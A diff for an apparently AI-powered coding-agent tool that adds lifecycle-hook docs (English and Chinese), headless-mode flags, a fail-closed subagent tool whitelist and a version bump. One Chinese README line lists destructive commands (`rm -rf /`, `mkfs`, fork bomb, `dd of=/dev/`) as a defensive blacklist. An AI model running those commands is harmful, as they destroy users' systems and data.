+ - **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml`, `.mcp.json`, **or project-layer skills** (with tools.py markers) is seen, coderio shows what it contains (permission mode, base_url, hook/MCP commands) and requires explicit confirmation — content-hashed, so upstream edits re-trigger the prompt. Cloning a hostile repo no longer means silent arbitrary code execution.
85
85
  - **Multiple providers + named profiles**: Zhipu GLM / StepFun coding plans (Anthropic protocol) + OpenAI-compatible endpoints; multiple profiles with runtime `/profile` switching.
86
86
  - **Headless mode**: `coderio run "task"` for one-shot, non-interactive runs (CI, scripting, benchmark harnesses).
87
87
 
@@ -283,6 +283,47 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
283
283
  - Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
284
284
  - For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
285
285
 
286
+ **Hooks** (user lifecycle hooks, v1):
287
+
288
+ Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
289
+
290
+ ```toml
291
+ # Protect sensitive files: block writes to .env
292
+ [[hooks]]
293
+ event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
294
+ matcher = "write_file|edit_file" # regex on tool name (tool events only); empty = all
295
+ command = "python .hooks/protect.py" # receives the event JSON on stdin; exit 2 = block
296
+ timeout = 30 # seconds, default 60
297
+
298
+ # Auto-format after every file write
299
+ [[hooks]]
300
+ event = "PostToolUse"
301
+ matcher = "write_file|edit_file"
302
+ command = "jq -r .tool_input.file_path | xargs prettier --write"
303
+
304
+ # Inject project conventions at session start
305
+ [[hooks]]
306
+ event = "SessionStart"
307
+ command = "cat .hooks/conventions.txt"
308
+ ```
309
+
310
+ **IO contract**:
311
+ - **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
312
+ - **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
313
+ - **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
314
+
315
+ **Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
316
+
317
+ **Execution semantics**:
318
+ - **Timeouts**: 60s per hook by default (`timeout` configurable); **30s per-event total budget** — when all matching hooks together exceed it, the rest are skipped (fail-open); one slow hook can't eat the whole turn
319
+ - **Serial execution**: multiple hooks run in config order; the first blocker's reason wins, but every hook still runs (side effects preserved)
320
+ - **Environment inheritance**: hooks inherit the full environment (including API keys) — only configure hook commands you trust
321
+ - **Subagents are covered too**: research / general-purpose subagents both carry HooksMiddleware — `task()` delegation cannot bypass PreToolUse
322
+ - **Merge semantics**: user-level `[[hooks]]` + project-level `[[hooks]]` **append** (user first — under first-blocker-wins, the user's protective hook's reason takes priority); a repo's config never drops the user's protections
323
+ - Windows grandchild leak on timeout is a known limitation (the turn is no longer hostage; the root fix awaits the CREATE_SUSPENDED approach)
324
+
325
+ **v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt.
326
+
286
327
  Supported providers:
287
328
  | provider_id | Description | Protocol |
288
329
  |---|---|---|
@@ -310,9 +351,13 @@ coderio
310
351
  coderio --provider bigmodel_coding_plan --model glm-5.2
311
352
 
312
353
  # Headless one-shot run (CI / scripting / benchmarks)
313
- coderio run "write a hello-world script and test it"
314
- coderio run "fix the failing test in tests/foo.py" --quiet # final result only
354
+ coderio run "write a hello-world script and test it" # default: plan (read-only)
355
+ coderio run "fix the failing test in tests/foo.py" --quiet # final result only
315
356
  coderio run "continue" --session-id <id> # resume a session
357
+ coderio run "run any command" --dangerously-skip-permissions # full access (explicit opt-in)
358
+ coderio run "task" --timeout 600 # wall-clock timeout (recommended for CI)
359
+
360
+ # headless exit codes: 0 success / 1 config error / 2 agent failure / 124 timeout
316
361
 
317
362
  # Manage skills (install pulls from GitHub; needs git on PATH)
318
363
  coderio skills list
@@ -36,7 +36,7 @@
36
36
  - **命令审查层**:shell(execute)命令不受 virtual_mode 约束,所以额外加了一层 `CommandReviewMiddleware`——内置黑名单挡住 `rm -rf /`、`mkfs`、fork bomb、`dd of=/dev/`、shutdown 等破坏性命令(即使 FULL 模式也挡),用户可在 config.toml 追加 `blocked_commands`。这不是真 OS 沙箱(混淆命令可绕过正则),但能挡住绝大多数意外破坏。`network_allowed = false` 可完全禁用 web 工具(离线模式)
37
37
  - **多 provider + 命名 profile**:智谱 GLM / 阶跃 StepFun 的 coding plan(Anthropic 协议)+ OpenAI 兼容;支持多套配置 profile,`/profile` 运行时切换
38
38
  - **MCP 支持**:通过 `.mcp.json`(与 Claude Code 格式兼容)接入外部 MCP 服务器,自动加载它们的工具。支持 stdio(本地进程)和 HTTP(远程)两种传输。项目级 `.mcp.json` 覆盖用户级同名服务器
39
- - **仓库配置信任确认**:首次在某仓库检测到 `.coderio/config.toml` 或 `.mcp.json` 时,展示其内容(权限模式、base_url、MCP 命令)并要求显式确认——按内容 hash 记忆,上游改配置会重新触发确认。克隆恶意仓库不再等于静默任意代码执行
39
+ - **仓库配置信任确认**:首次在某仓库检测到 `.coderio/config.toml`、`.mcp.json` **或项目级 skills**(含 tools.py 标注)时,展示其内容(权限模式、base_url、hook/MCP 命令)并要求显式确认——按内容 hash 记忆,上游改配置会重新触发确认。克隆恶意仓库不再等于静默任意代码执行
40
40
  - **web_fetch SSRF 防护**:scheme 白名单(仅 http/https)+ 私网/环回/链路本地 IP 拦截(含云元数据端点)+ 逐跳重定向校验 + 1MB 响应上限
41
41
  - **headless 模式**:`coderio run "任务"` 单次无交互运行(CI / 脚本 / benchmark 接入)
42
42
 
@@ -238,6 +238,47 @@ deny_write = [".git/hooks"] # workspace 内也强制只读
238
238
  - 白名单降级:CONFIRM/AUTO_EDIT 模式下白名单外的命令**会执行但 result 里会带 `[whitelist]` 标注**(让模型/用户知道该命令不在受信集合里);PLAN 模式硬拒;FULL 模式放行不标注。
239
239
  - 对于**完全不可信的代码**,仍建议用 VM(Windows Sandbox / Docker),不依赖本沙箱。
240
240
 
241
+ **Hooks**(用户自定义生命周期钩子,v1):
242
+
243
+ 在 config.toml 里用 `[[hooks]]` 数组表注册 shell 命令,在 agent 生命周期的固定点位执行。配置/IO 契约对齐 Claude Code / ZCode / Codex 的互操作核心,已有 hook 脚本可直接移植:
244
+
245
+ ```toml
246
+ # 敏感文件保护:写 .env 前拦截
247
+ [[hooks]]
248
+ event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
249
+ matcher = "write_file|edit_file" # 正则匹配工具名(仅工具事件);空 = 全部
250
+ command = "python .hooks/protect.py" # stdin 收 JSON 事件;exit 2 = 阻断
251
+ timeout = 30 # 秒,默认 60
252
+
253
+ # 每次写文件后自动格式化
254
+ [[hooks]]
255
+ event = "PostToolUse"
256
+ matcher = "write_file|edit_file"
257
+ command = "jq -r .tool_input.file_path | xargs prettier --write"
258
+
259
+ # 会话开始注入项目约定
260
+ [[hooks]]
261
+ event = "SessionStart"
262
+ command = "cat .hooks/conventions.txt"
263
+ ```
264
+
265
+ **IO 契约**:
266
+ - **stdin**:一行 JSON——公共字段 `session_id`/`cwd`/`permission_mode`/`hook_event_name` + 事件专属(PreToolUse 带 `tool_name`+`tool_input`;UserPromptSubmit 带 `prompt`;PostToolUse 带 `tool_response`)
267
+ - **exit code**:`0` = 放行(UserPromptSubmit/SessionStart 的 stdout 注入上下文,上限 10k 字符);`2` = **阻断**(stderr 作为理由喂给模型);其他 = **fail-open** 放行 + 警告
268
+ - **环境变量**:`$CODERIO_PROJECT_DIR` 恒可用;Windows 优先 Git Bash
269
+
270
+ **诚实定位**:hooks 是**扩展点不是安全边界**——超时/崩溃/非 2 退出码都 fail-open(一个坏 hook 绝不能搞死 agent loop)。硬策略请用权限审批 + 命令黑名单。项目级 hooks 写在 config.toml 里,自动被仓库信任门覆盖(克隆恶意仓库不会静默执行其 hooks)。
271
+
272
+ **执行语义**:
273
+ - **超时**:每个 hook 默认 60s(`timeout` 可配);**单事件总预算 30s**——同事件所有 hook 合计超预算后,剩余 hook 跳过(fail-open),一个慢 hook 吃不光整个 turn
274
+ - **串行执行**:多 hook 按配置顺序串行,第一个 blocker 的理由生效,但所有 hook 都会执行(副作用保留)
275
+ - **环境继承**:hook 继承完整环境变量(含 API key)——只配置你信任的 hook 命令
276
+ - **子 agent 同样受约束**:research / general-purpose 子 agent 都挂 HooksMiddleware,`task()` 委派无法绕过 PreToolUse
277
+ - **合并语义**:用户级 `[[hooks]]` + 项目级 `[[hooks]]` **追加合并**(用户在前——首个 blocker 的优先理由来自用户的防护 hook),项目配置不会剔除用户防护
278
+ - Windows 孙进程泄漏为已知 limitation(超时后 turn 不受挟持;根治待 CREATE_SUSPENDED 方案)
279
+
280
+ **v1 事件集与不做的事**:SessionStart(每 session 一次,含 resume)/ UserPromptSubmit(可拒绝可注入)/ PreToolUse(可 deny)/ PostToolUse(追加反馈)/ Stop(通知型,不与 harness 续跑冲突)。不做:SessionEnd(无注入点)、Notification/SubagentStop/PreCompact、`updatedInput` 参数改写、hook allow 跳过权限弹窗。
281
+
241
282
  支持的 provider:
242
283
  | provider_id | 说明 | 协议 |
243
284
  |---|---|---|
@@ -265,9 +306,13 @@ coderio
265
306
  coderio --provider bigmodel_coding_plan --model glm-5.2
266
307
 
267
308
  # headless 单次运行(CI / 脚本 / benchmark 接入)
268
- coderio run "写一个 hello-world 脚本并测试"
269
- coderio run "修复 tests/foo.py 里失败的测试" --quiet # 只输出最终结果
270
- coderio run "继续" --session-id <id> # 续跑会话
309
+ coderio run "写一个 hello-world 脚本并测试" # 默认 plan(只读)
310
+ coderio run "修复 tests/foo.py 里失败的测试" --quiet # 只输出最终结果
311
+ coderio run "继续" --session-id <id> # 续跑会话
312
+ coderio run "跑任意命令" --dangerously-skip-permissions # full 权限(显式选择加入)
313
+ coderio run "任务" --timeout 600 # 墙钟超时(CI 建议)
314
+
315
+ # headless 退出码:0 成功 / 1 配置错误 / 2 agent 执行失败 / 124 超时
271
316
 
272
317
  # 管理 skill(install 从 GitHub 拉取,需要 git 在 PATH)
273
318
  coderio skills list
@@ -36,7 +36,7 @@ Core philosophy: **skills are the playbook, the harness is the discipline, tools
36
36
  - **SSRF-protected web_fetch**: scheme allowlist (http/https only), private/loopback/link-local IP blocking (incl. cloud metadata endpoints), per-hop redirect validation, and a 1 MB response cap.
37
37
  - **Multi-layer OS sandbox** (Linux real isolation): `sandbox_mode = "job" | "write"` — Job Object resource limits on Windows; bubblewrap namespace isolation on Linux (read-only root, read-write workspace, optional network cutoff, Claude-Code-compatible filesystem 4-tuple `allow_write`/`deny_write`/`deny_read`/`allow_read`).
38
38
  - **MCP support**: connect external MCP servers via `.mcp.json` (Claude Code-compatible format); stdio and HTTP transports; project-level config overrides user-level. `coderio mcp` CLI manages entries; MCP tools are gated by the permission system like built-in tools.
39
- - **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml` or `.mcp.json` is seen, coderio shows what it contains (permission mode, base_url, MCP commands) and requires explicit confirmation — content-hashed, so upstream edits re-trigger the prompt. Cloning a hostile repo no longer means silent arbitrary code execution.
39
+ - **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml`, `.mcp.json`, **or project-layer skills** (with tools.py markers) is seen, coderio shows what it contains (permission mode, base_url, hook/MCP commands) and requires explicit confirmation — content-hashed, so upstream edits re-trigger the prompt. Cloning a hostile repo no longer means silent arbitrary code execution.
40
40
  - **Multiple providers + named profiles**: Zhipu GLM / StepFun coding plans (Anthropic protocol) + OpenAI-compatible endpoints; multiple profiles with runtime `/profile` switching.
41
41
  - **Headless mode**: `coderio run "task"` for one-shot, non-interactive runs (CI, scripting, benchmark harnesses).
42
42
 
@@ -238,6 +238,47 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
238
238
  - Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
239
239
  - For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
240
240
 
241
+ **Hooks** (user lifecycle hooks, v1):
242
+
243
+ Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
244
+
245
+ ```toml
246
+ # Protect sensitive files: block writes to .env
247
+ [[hooks]]
248
+ event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
249
+ matcher = "write_file|edit_file" # regex on tool name (tool events only); empty = all
250
+ command = "python .hooks/protect.py" # receives the event JSON on stdin; exit 2 = block
251
+ timeout = 30 # seconds, default 60
252
+
253
+ # Auto-format after every file write
254
+ [[hooks]]
255
+ event = "PostToolUse"
256
+ matcher = "write_file|edit_file"
257
+ command = "jq -r .tool_input.file_path | xargs prettier --write"
258
+
259
+ # Inject project conventions at session start
260
+ [[hooks]]
261
+ event = "SessionStart"
262
+ command = "cat .hooks/conventions.txt"
263
+ ```
264
+
265
+ **IO contract**:
266
+ - **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
267
+ - **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
268
+ - **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
269
+
270
+ **Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
271
+
272
+ **Execution semantics**:
273
+ - **Timeouts**: 60s per hook by default (`timeout` configurable); **30s per-event total budget** — when all matching hooks together exceed it, the rest are skipped (fail-open); one slow hook can't eat the whole turn
274
+ - **Serial execution**: multiple hooks run in config order; the first blocker's reason wins, but every hook still runs (side effects preserved)
275
+ - **Environment inheritance**: hooks inherit the full environment (including API keys) — only configure hook commands you trust
276
+ - **Subagents are covered too**: research / general-purpose subagents both carry HooksMiddleware — `task()` delegation cannot bypass PreToolUse
277
+ - **Merge semantics**: user-level `[[hooks]]` + project-level `[[hooks]]` **append** (user first — under first-blocker-wins, the user's protective hook's reason takes priority); a repo's config never drops the user's protections
278
+ - Windows grandchild leak on timeout is a known limitation (the turn is no longer hostage; the root fix awaits the CREATE_SUSPENDED approach)
279
+
280
+ **v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt.
281
+
241
282
  Supported providers:
242
283
  | provider_id | Description | Protocol |
243
284
  |---|---|---|
@@ -265,9 +306,13 @@ coderio
265
306
  coderio --provider bigmodel_coding_plan --model glm-5.2
266
307
 
267
308
  # Headless one-shot run (CI / scripting / benchmarks)
268
- coderio run "write a hello-world script and test it"
269
- coderio run "fix the failing test in tests/foo.py" --quiet # final result only
309
+ coderio run "write a hello-world script and test it" # default: plan (read-only)
310
+ coderio run "fix the failing test in tests/foo.py" --quiet # final result only
270
311
  coderio run "continue" --session-id <id> # resume a session
312
+ coderio run "run any command" --dangerously-skip-permissions # full access (explicit opt-in)
313
+ coderio run "task" --timeout 600 # wall-clock timeout (recommended for CI)
314
+
315
+ # headless exit codes: 0 success / 1 config error / 2 agent failure / 124 timeout
271
316
 
272
317
  # Manage skills (install pulls from GitHub; needs git on PATH)
273
318
  coderio skills list
@@ -5,7 +5,7 @@ build-backend = "hatchling.build"
5
5
 
6
6
  [project]
7
7
  name = "coderio"
8
- version = "0.4.0"
8
+ version = "0.4.2"
9
9
  description = "A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine."
10
10
  readme = "README_en.md"
11
11
  license = "MIT"
@@ -166,6 +166,10 @@ select = ["E", "F", "W", "I", "S"]
166
166
  # S603 — the LocalShellBackend override runs model-generated bash commands;
167
167
  # executing them IS the tool's purpose (same rationale as tools/bash.py).
168
168
  "src/coderio/agent/deep_loop.py" = ["S602", "S603"]
169
+ # Hooks: S603 — hook commands come from the user's TOML config (trusted
170
+ # project settings, like skills_cmd.py's git clone), not arbitrary model
171
+ # input. Executing them IS the hooks feature's purpose.
172
+ "src/coderio/agent/hooks.py" = ["S603"]
169
173
  # Sandbox modules: S602/S603 — running arbitrary subprocess commands IS the
170
174
  # sandbox's entire purpose. The sandbox itself (bubblewrap namespace isolation
171
175
  # on Linux, Restricted Token + Job Object on Windows) is the security boundary,
@@ -97,22 +97,48 @@ class _ToolWhitelistMiddleware(AgentMiddleware):
97
97
 
98
98
  Wraps the same ModelRequest.override + filter mechanism as
99
99
  ``_ToolExclusionMiddleware`` but inverts the predicate.
100
+
101
+ Runtime failures degrade to an EMPTY tool set (deny-all), never to the
102
+ unfiltered original — a broken research subagent is preferable to a
103
+ research subagent that can suddenly see write/execute tools (v3 audit #11
104
+ reversed the old fail-open direction).
100
105
  """
101
106
 
102
107
  def __init__(self, *, allowed: frozenset[str]) -> None:
103
108
  self._allowed = allowed
104
109
 
105
110
  def wrap_model_call(self, request, handler):
106
- if self._allowed:
111
+ try:
107
112
  filtered = [t for t in request.tools if _tool_name(t) in self._allowed]
108
- request = request.override(tools=filtered)
109
- return handler(request)
113
+ return handler(request.override(tools=filtered))
114
+ except Exception as e: # noqa: BLE001 — degrade to deny-all, never fail-open
115
+ _log.warning("tool whitelist failed at runtime (degrading to NO tools): %s", e)
116
+ return handler(request.override(tools=[]))
110
117
 
111
118
  async def awrap_model_call(self, request, handler):
112
- if self._allowed:
119
+ try:
113
120
  filtered = [t for t in request.tools if _tool_name(t) in self._allowed]
114
- request = request.override(tools=filtered)
115
- return await handler(request)
121
+ return await handler(request.override(tools=filtered))
122
+ except Exception as e: # noqa: BLE001 — degrade to deny-all, never fail-open
123
+ _log.warning("tool whitelist failed at runtime (degrading to NO tools): %s", e)
124
+ return await handler(request.override(tools=[]))
125
+
126
+
127
+ class _DenyAllToolsMiddleware(AgentMiddleware):
128
+ """Last-resort middleware: the model sees ZERO tools.
129
+
130
+ Returned when the whitelist middleware itself cannot be constructed — the
131
+ research subagent becomes useless but stays harmless (v3 audit #11: the
132
+ old fallback was an EMPTY middleware list, i.e. the subagent inherited
133
+ EVERY tool including write/execute — fail-open in the most dangerous
134
+ direction).
135
+ """
136
+
137
+ def wrap_model_call(self, request, handler):
138
+ return handler(request.override(tools=[]))
139
+
140
+ async def awrap_model_call(self, request, handler):
141
+ return await handler(request.override(tools=[]))
116
142
 
117
143
 
118
144
  def make_research_subagent_middleware():
@@ -126,8 +152,8 @@ def make_research_subagent_middleware():
126
152
 
127
153
  Returns a list with a _ToolWhitelistMiddleware. If the deepagents
128
154
  AgentMiddleware base class API is unavailable (very old or very new
129
- version), returns an empty list — the subagent will inherit all tools
130
- (less safe, but won't crash).
155
+ version), falls back to _DenyAllToolsMiddleware — the subagent sees no
156
+ tools rather than all of them (fail-closed; v3 audit #11).
131
157
  """
132
158
  # Read-only tools the research subagent is allowed to use. Add new tools
133
159
  # here ONLY after confirming they're safe for a read-only agent.
@@ -135,5 +161,8 @@ def make_research_subagent_middleware():
135
161
  try:
136
162
  return [_ToolWhitelistMiddleware(allowed=allowed)]
137
163
  except Exception as e: # noqa: BLE001 — AgentMiddleware API may differ
138
- _log.warning("Could not build _ToolWhitelistMiddleware: %s", e)
139
- return []
164
+ _log.warning("Could not build _ToolWhitelistMiddleware (deny-all fallback): %s", e)
165
+ try:
166
+ return [_DenyAllToolsMiddleware()]
167
+ except Exception: # noqa: BLE001 — even the fallback construction failed
168
+ return []